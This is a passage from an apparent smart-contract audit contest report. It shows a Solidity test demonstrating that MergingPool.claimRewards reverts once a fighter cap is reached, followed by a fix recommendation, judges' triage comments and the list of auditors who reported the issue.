_modelTypes[0] = "original"; } uint256[2][] memory _customAttributes = new uint256[2][](9); for(uint i =0; i< 9; i++) { _customAttributes[i][0] = uint256(1); _customAttributes[i][1] = uint256(50); } // Claim rewards succeeds, MAX_FIGHTERS_ALLOWED not reached _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); } function testClaimRewardsRevertWhenMaxFighterIsReachedFail() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // pick winners for 10 rounds _mergingPoolContract.pickWinner(_winners); // round 0 _mergingPoolContract.pickWinner(_winners); // round 1 _mergingPoolContract.pickWinner(_winners); // round 2 _mergingPoolContract.pickWinner(_winners); // round 3 _mergingPoolContract.pickWinner(_winners); // round 4 _mergingPoolContract.pickWinner(_winners); // round 5 _mergingPoolContract.pickWinner(_winners); // round 6 _mergingPoolContract.pickWinner(_winners); // round 7 _mergingPoolContract.pickWinner(_winners); // round 8 _mergingPoolContract.pickWinner(_winners); // round 9 // claim rewards string[] memory _modelURIs = new string[](10); string[] memory _modelTypes = new string[](10); for (uint i = 0 ; i< 10; i++){ _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelTypes[0] = "original"; } uint256[2][] memory _customAttributes = new uint256[2][](10); for(uint i =0; i< 10; i++) { _customAttributes[i][0] = uint256(1); _customAttributes[i][1] = uint256(50); } // Fail since MAX_FIGHTERS_ALLOWED is reached vm.expectRevert(); _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); }
Manual Review
I recommend allowing users to claim rewards to a certain round of their choice. This would allow the owners to transfer nfts to other addresses before continue claiming their remaining rewards.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T09:00:34Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T09:00:42Z
raymondfam marked the issue as duplicate of #216
#2 - c4-judge
2024-03-11T12:50:26Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ahmedaghadi
Also found by: 0x13, 0xAleko, 0xDetermination, 0xKowalski, 0xPluto, 0xRiO, 0xvj, AlexCzm, Avci, BARW, BigVeezus, Cryptor, DeFiHackLabs, Draiakoo, Fitro, Giorgio, GoSlang, Greed, Honour, Kalogerone, KmanOfficial, Krace, McToady, MidgarAudits, MrPotatoMagic, Nyxaris, ReadyPlayer2, Ryonen, SovaSlava, SpicyMeatball, VAD37, _eperezok, alexzoid, almurhasan, btk, cu5t0mpeo, deadrxsezzz, djxploit, dvrkzy, emrekocak, erosjohn, evmboi32, fnanni, grearlake, inzinko, jesjupyter, jesusrod15, josephdara, ke1caM, klau5, ktg, ladboy233, merlinboii, nuthan2x, peanuts, pipidu83, pontifex, radev_sw, sl1, sobieski, soliditywala, t0x1c, taner2344, vnavascues, y4y, yovchev_yoan, zaevlad
0.2347 USDC - $0.23
Judge has assessed an item in Issue #1287 as 2 risk. The relevant finding follows:
L-01: MergingPool.claimRewards may DOS users
#0 - c4-judge
2024-03-12T02:56:38Z
HickupHH3 marked the issue as duplicate of #216
#1 - c4-judge
2024-03-12T02:56:42Z
HickupHH3 marked the issue as partial-25
#2 - c4-judge
2024-03-21T03:03:13Z
HickupHH3 marked the issue as satisfactory